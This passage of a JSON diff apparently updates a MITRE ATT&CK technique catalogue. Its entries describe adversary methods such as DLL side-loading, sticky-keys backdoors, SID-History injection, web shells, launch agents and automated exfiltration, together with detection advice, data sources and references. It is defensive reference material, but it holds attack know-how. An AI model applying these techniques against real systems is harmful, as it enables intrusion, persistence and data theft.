file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring", + "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", "meta": { + "external_id": "T1073", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], "mitre_data_sources": [ - "Binary file metadata", - "Process Monitoring", - "Process command-line parameters", - "File monitoring" + "Process use of network", + "Process monitoring", + "Loaded DLLs" ], "mitre_platforms": [ - "MacOS", - "OS X" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1161", - "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" - ], - "uuid": "b75b398b-65fb-4578-a9b6-847dd9d0cf52" + "https://attack.mitre.org/techniques/T1073", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", + "https://msdn.microsoft.com/en-us/library/aa375365" + ] }, - "value": "LC_LOAD_DYLIB Addition" + "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "value": "DLL Side-Loading - T1073" }, { - "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD [[Citation: Prolific OSX Malware History]]. The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different [[Citation: Methods of Mac Malware Persistence]]. By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring", + "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.", "meta": { + "external_id": "T1059", + "kill_chain": [ + "mitre-attack:execution" + ], "mitre_data_sources": [ - "Binary file metadata", - "Malware reverse engineering", - "Process Monitoring" + "Process monitoring", + "Process command-line parameters" ], "mitre_platforms": [ - "MacOS", - "OS X" + "Linux", + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1149", - "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", + "https://attack.mitre.org/techniques/T1059", + "https://en.wikipedia.org/wiki/Command-line_interface" + ] + }, + "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "value": "Command-Line Interface - T1059" + }, + { + "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", + "meta": { + "external_id": "T1164", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1164", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "f52bb8c4-8e68-4834-939f-d193f9cfce61" + ] }, - "value": "LC_MAIN Hijacking" + "uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", + "value": "Re-opened Applications - T1164" }, { - "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller.[[Citation: Microsoft User Creation Event]] Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs", + "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", "meta": { + "external_id": "T1178", + "kill_chain": [ + "mitre-attack:privilege-escalation" + ], "mitre_data_sources": [ - "Process Monitoring", - "Process command-line parameters", + "API monitoring", "Authentication logs", "Windows event logs" ], "mitre_platforms": [ - "Windows 10", - "Windows Server 2012", - "Windows 7", - "Windows 8", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows 8.1", - "Windows Server 2003", - "Windows Server 2008", - "Windows XP", - "Windows Server 2003 R2", - "Windows Vista", - "Linux", - "MacOS", - "OS X" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1136", - "https://docs.microsoft.com/windows/device-security/auditing/event-4720" - ], - "uuid": "f2d47680-b65a-4354-8a69-79c150fd2bd5" + "https://attack.mitre.org/techniques/T1178", + "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", + "https://msdn.microsoft.com/library/ms679833.aspx", + "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", + "https://technet.microsoft.com/library/ee617241.aspx", + "https://adsecurity.org/?p=1772", + "https://msdn.microsoft.com/library/ms677982.aspx" + ] }, - "value": "Create Account" + "uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d", + "value": "SID-History Injection - T1178" }, { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention, Process command-line parameters", + "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "meta": { + "external_id": "T1188", + "kill_chain": [ + "mitre-attack:command-and-control" + ], "mitre_data_sources": [ + "Network protocol analysis", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1188" + ] + }, + "uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "value": "Multi-hop Proxy - T1188" + }, + { + "description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. This can happen in several ways, but there are a few main components: \n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.", + "meta": { + "external_id": "T1189", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Packet capture", + "Network device logs", + "Process use of network", + "Web proxy", + "Network intrusion detection system", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1189", + "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/" + ] + }, + "uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "value": "Drive-by Compromise - T1189" + }, + { + "description": "As described by [ATT&CK for Enterprise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\n(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)", + "meta": { + "external_id": "CEL-22", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1456", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html", + "https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/" + ] + }, + "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "value": "Drive-by Compromise - T1456" + }, + { + "description": "Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1270", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1270" + ] + }, + "uuid": "89a79d91-53e0-4ef5-ba28-558cb8b01f76", + "value": "Identify groups/roles - T1270" + }, + { + "description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)", + "meta": { + "external_id": "T1304", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1304" + ] + }, + "uuid": "b14f6692-b613-44bb-9f30-8381a5ff10d5", + "value": "Proxy/protocol relays - T1304" + }, + { + "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)", + "meta": { + "external_id": "T1227", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1227" + ] + }, + "uuid": "6063b486-a247-499b-976a-9de16f4e83bc", + "value": "Develop KITs/KIQs - T1227" + }, + { + "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.", + "meta": { + "external_id": "T1001", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "value": "Data Obfuscation - T1001" + }, + { + "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", + "meta": { + "external_id": "T1100", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Anti-virus", + "Authentication logs", "File monitoring", - "Data loss prevention", - "Process command-line parameters" + "Netflow/Enclave netflow", + "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "Windows", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1119" - ], - "uuid": "30208d3e-0d6b-43c8-883e-44462a514619" + "https://attack.mitre.org/techniques/T1100", + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", + "https://www.us-cert.gov/ncas/alerts/TA15-314A" + ] }, - "value": "Automated Collection" + "uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "value": "Web Shell - T1100" }, { - "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, Process monitoring, File monitoring", + "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "meta": { - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "File monitoring" + "external_id": "T1020", + "kill_chain": [ + "mitre-attack:exfiltration" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1123" - ], - "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967" - }, - "value": "Audio Capture" - }, - { - "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program. This value can be abused to obtain persistence by causing a DLL to be loaded into most processes on the computer.[[Citation: AppInit Registry]]\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.[[Citation: AppInit Secure Boot]]\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs.[[Citation: TechNet Autoruns]] \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for [[Command and Control]], learning details about the environment through [[Discovery]], and conducting [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM", - "meta": { - "mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1103", - "https://support.microsoft.com/en-us/kb/197571", - "https://msdn.microsoft.com/en-us/library/dn280412", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41" - }, - "value": "AppInit DLLs" - }, - { - "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1087" - ], - "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08" - }, - "value": "Account Discovery" - }, - { - "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process use of network", - "meta": { "mitre_data_sources": [ "File monitoring", "Process monitoring", "Process use of network" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1020" - ], - "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + "https://attack.mitre.org/techniques/T1020" + ] }, - "value": "Automated Exfiltration" + "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "value": "Automated Exfiltration - T1020" }, { - "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]\n\nOther accessibility features exist that may also be leveraged in a similar fashion:[[Citation: DEFCON2016 Sticky Keys]]\n\n*On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n*Magnifier: C:\\Windows\\System32\\Magnify.exe\n*Narrator: C:\\Windows\\System32\\Narrator.exe\n*Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n*App Switcher: C:\\Windows\\System32\\AtBroker.exe\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center", + "description": "Computer accessories, computers, or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.", "meta": { + "external_id": "T1200", + "kill_chain": [ + "mitre-attack:initial-access" + ], "mitre_data_sources": [ - "Windows Registry", + "Asset management", + "Data loss prevention" + ], + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1200", + "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html", + "http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx", + "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained", + "https://www.youtube.com/watch?v=fXthwl6ShOg", + "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/" + ] + }, + "uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "value": "Hardware Additions - T1200" + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", + "meta": { + "external_id": "T1002", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Binary file metadata", "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1015", - "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", - "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", - "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" - ], - "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3" - }, - "value": "Accessibility Features" - }, - { - "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents[[Citation: AppleDocs Launch Agent Daemons]][[Citation: OSX Keydnap malware]][[Citation: Antiquated Mac Malware]]. These launch agents have property list files which point to the executables that will be launched[[Citation: OSX.Dok Malware]].\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories [[Citation: Sofacy Komplex Trojan]] [[Citation: Methods of Mac Malware Persistence]]. The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in[[Citation: OSX Malware Detection]][[Citation: OceanLotus for OS X]]. They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1159", - "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", - "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf" - ], - "uuid": "12f399b0-d9de-4f60-a262-22c21baae140" - }, - "value": "Launch Agent" - }, - { - "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have 